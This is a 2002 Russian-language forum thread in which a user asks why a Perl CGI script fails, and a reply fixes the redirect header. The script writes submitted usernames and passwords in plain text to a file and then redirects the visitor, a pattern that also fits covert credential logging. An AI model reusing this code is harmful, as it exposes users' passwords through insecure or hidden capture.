Автор Тема: Подскажите почему не работает скрипт?  (Прочитано 3663 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн Bosss

  • Заглянувший
  • Новичок
  • *
  • Сообщений: 2
  • +0/-0
  • 0
    • Просмотр профиля
    • http://
Может  ктото посветовать почему не работает мой скрипт?

#!/usr/bin/perl
&GetFormInput;
{
   $name=$field{\'name\'};
   $pass=$field{\'pass\'};
   sub GetFormInput { (*fval) = @_ if @_ ;
   local ($buf);
   if ($ENV{\'REQUEST_METHOD\'} eq \'POST\') {
       read(STDIN,$buf,$ENV{\'CONTENT_LENGTH\'});
   } else {
      $buf=$ENV{\'QUERY_STRING\'};
   }
   if ($buf eq "") {
      return 0 ;
   } else {
      @fval=split(/&/,$buf);
      foreach $i (0 .. $#fval){
      ($name,$val)=split (/=/,$fval[$i],2);
      $val=~tr/+/ /;
      $val=~ s/%(..)/pack("c",hex($1))/ge;
      $name=~tr/+/ /;
      $name=~ s/%(..)/pack("c",hex($1))/ge;
      if (!defined($field{$name})) {
         $field{$name}=$val;
      } else {
         $field{$name} .= ",$val";
         }
      }
      } return 1;
   }
   open (OUTFILE, ">>pass2.txt");
      print OUTFILE "$name";
      print OUTFILE "\\n$pass";
      print OUTFILE "\\n=======END=======\\n\\n";
      close (OUTFILE);  
   print "Location: http://localhost/MailForm.htm\\n" ;
}

Оффлайн $haman

  • Заглянувший
  • Новичок
  • *
  • Сообщений: 3
  • +0/-0
  • 0
    • Просмотр профиля
    • http://www.woscripts.com/
Подскажите почему не работает скрипт?
« Ответ #1 : 23 Февраля 2002, 15:51:23 »
print "Location: http://localhost/MailForm.htm\\n" ;
надо
print "Location: http://localhost/MailForm.htm\\n\\n";
Хранение данных у тебя не очень, ты бы лучше разделял чем-то $name|$pass, так проще потом проверять, и не помешает воспользоваться функцией crypt

 

Sitemap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28